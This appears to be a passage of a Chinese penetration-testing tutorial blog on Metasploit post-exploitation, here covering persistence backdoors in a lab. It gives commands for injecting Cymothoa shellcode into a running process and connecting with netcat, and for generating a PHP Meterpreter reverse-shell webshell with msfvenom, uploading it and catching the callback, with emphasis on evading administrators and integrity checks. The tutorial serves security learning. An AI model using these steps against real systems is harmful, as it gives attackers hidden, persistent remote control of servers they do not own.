后門泛指繞過目標系統安全控制體系的正規yoghurt認證過程,從而維持我們對目標系統的控制權,以及隱匿控制行為的方法。Meterpreter提供了Persistence等后滲透攻擊模塊,通過再目標主機上安裝自動、永久服務等方式,來長久地控制目標機。這里主要介紹Cymothoa后門,還有Persistence后門,APT樣本中也有各種各樣的后門。
Cymothoa是一個后門工具,可以將ShellCode注入到現有進程(插進程)。借助這種注入手段,它能夠把ShellCode偽裝成常規程序。只要進程存在,后門就會有效,所以一般選擇一些自其服務的進程來注入,例如web服務mysql、apache 等。其后門所擁有的權限和注入的進程權限是相同的。當拿下目標shell后就可以使用cymothoa添加后門。
Cymothoa所注入的后門程序應當能夠與被注入的程序(進程)共存,以避免被管理和維護人員懷疑。將ShellCode注入其他進程,還有另一個優勢:即使目標系統的安全防護工具能夠監視可執行程序的完整性,只要它不檢測內存,就發現不了(插進程)后門程序的進程。
(1) 查看程序的PID。
- Linux:ps -aux
- Windows:tasklist
(2) 查看ShellCode編號。
Cymothoa有很多的后門 shellcode,這些shellcode可以通過-S參數來查看。
- cymothoa -S
(3) 生成后門程序。
成功滲透目標主機后,就可以把Cymothoa的可執行程序復制到目標主機上,生成后門程序。如選擇PID為903的進程為宿主進程,選用第一類ShellCode,指定Payload服務端口號為4444。
- cymothoa -p 903 -s 1 -y 4444
遺憾這里失敗,后續文章會更深入的講解后門實戰知識。
在實戰中你需要對目標機上傳編譯好的Cymothoa進行后門注入,成功則如下圖所示。
(4) NC連接后門程序。
注入成功后,我們通過攻擊機器 kali 來使用 nc 連接,因為我第一次使用的 nvv 參數,會顯示所有的詳細信息,所以內容比較咋。可以看到 ip 已經是目標機的 ip,身份是 root。
- nc -nvv IP地址 端口號
這時把msf關閉,然后再次通過nc連接,查看ip和當前用戶,該后門成功被利用。
注意,該后門注入系統的進程,反彈的是該進程相應的權限(并不需要root),當然,因為后門是以運行中的程序為宿主,所以只要進程關閉或目標主機重啟,后門就會停止運行。
2.Web后門
Web后門泛指Webshell,其實就是一段網頁代碼,包括ASP、PHP、JSP等。由于這些代碼都運行在服務器端,攻擊者通過這段精心設計的代碼,在服務端進行一些危險的操作以后去敏感信息,或者通過滲透操作提權,從而獲得服務器的控制權。這也是攻擊者控制服務器的方法,比入侵攻擊更加隱蔽。
Web后門能給攻擊者提供非常多的功能,比如執行命令、瀏覽文件、輔助提權、執行SQL語句、反彈Shell等。Windows操作系統下比較出名的是“中國菜刀”,還有開源的工具如蟻劍、冰蝎、Cknife等,均支持Mac、Linux和Windows。之前的文章也多次分享過一句話+工具的用法。
在Kali下用得比較多的是Weevely,其功能很強大,使用http頭進行指令傳輸,唯一的缺點是只支持PHP。其實Metasploit框架中也自帶了Web后面,配合Meterpreter使用時,功能更強大。接下來我們簡單用Meterpreter實現一個Web后門(PHP Meterpreter后門、ASP Meterpreter后門)。
在Metasploit中,有一個名為PHP Meterpreter的Payload,利用這個模塊可以創建具有Meterpreter功能的PHP Webshell。在攻擊中使用Metasploit PHP Shell的步驟如下:
- 使用msfvenom創建一個webshell.php
- 上傳webshell.php到目標服務器
- 運行Metasploit multi-handler開始監聽
- 訪問webshell.php頁面
- 獲取反彈的Metasploit Shell
(1) 通過Metasploit的Msfvenom工具會做PHP Meterpreter。
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.44.138 -f raw > shuteer.php參數-p用于設置Payload,參數-f用于設置輸出文件格式,生成的文件如下所示。
打開shutter.php文件如下圖所示,這是一個webshell。
(2) 將shutter.php文件上傳到目標服務器。這里是虛擬機,就直接復制到 var/www/html 目錄。
(3) 開啟msfconsole連接PHP后門。
通過MSF我們成功反彈服務器,最后利用Meterpreter進行后滲透操作。
注意,這里大家也可以嘗試蟻劍、菜刀、冰蝎等工具。也建議大家好好思考:
- 如何有效檢測Webshell
- 如何結合深度學習實現Webshell的自動化生成和繞WAF
- 如何結合深度學習自動化檢測Webshell
六.總結
寫到這里,這篇文章就介紹完畢,希望您喜歡,本文主要是學習徐焱老師他們的《Web安全攻防滲透測試實戰指南》,同時結合作者之前的漏洞利用及WannaCry逆向經驗總結。文章非常長,作者也花費了很長時間,但相信只要你認真讀完并復現,肯定會有收獲,尤其是對MSF的理解。
- 一.MSF漏洞利用
- 二.后滲透攻擊之信息收集
1.進程遷移
2.系統命令
3.文件系統命令 - 三.后滲透攻擊之權限提升
1.權限查詢
2.利用WMIC實戰MS16-032本地溢出漏洞
3.令牌竊取提權
4.Hash攻擊提權 - 四.后滲透攻擊之移植自定義漏洞利用模塊
1.傳統MS08-067漏洞利用
2.移植github的MS17-010漏洞模塊
3.深度提權 - 五.后滲透攻擊之后門
1.操作系統Cymothoa后門
2.Web后門
這篇文章中如果存在一些不足,還請海涵。作者作為網絡安全初學者的慢慢成長路吧!希望未來能更透徹撰寫相關文章。同時非常感謝參考文獻中的安全大佬們的文章分享,感謝師傅、師兄師弟、師姐師妹們的教導,深知自己很菜,得努力前行。
歡迎大家討論,是否覺得這系列文章幫助到您!任何建議都可以評論告知讀者,共勉。
- 逆向分析:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
- 網絡安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study
(By:Eastmount 2022-01-15 夜于武漢 http://blog.csdn.net/eastmount/ )
參考文章如下,感謝這些大佬。
- [1] https://www.rapid7.com/products/metasploit/download/
- [2] 《Web安全攻防滲透測試實戰指南》徐焱、李文軒、王東亞老師
- [3] https://blog.csdn.net/Eastmount
- [4] https://www.cnblogs.com/coderge/p/13746810.html
- [5] https://blog.csdn.net/fageweiketang/article/details/86580213
- [6] https://blog.csdn.net/fageweiketang/article/details/86665518
- [7] https://www.cnblogs.com/-qing-/p/10519363.html
- [8] https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
總結
以上是生活随笔為你收集整理的[系统安全] 四十五.APT系列(10)Metasploit后渗透技术信息收集、权限提权和功能模块详解的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [系统安全] 四十四.APT系列(9)M
- 下一篇: java信息管理系统总结_java实现科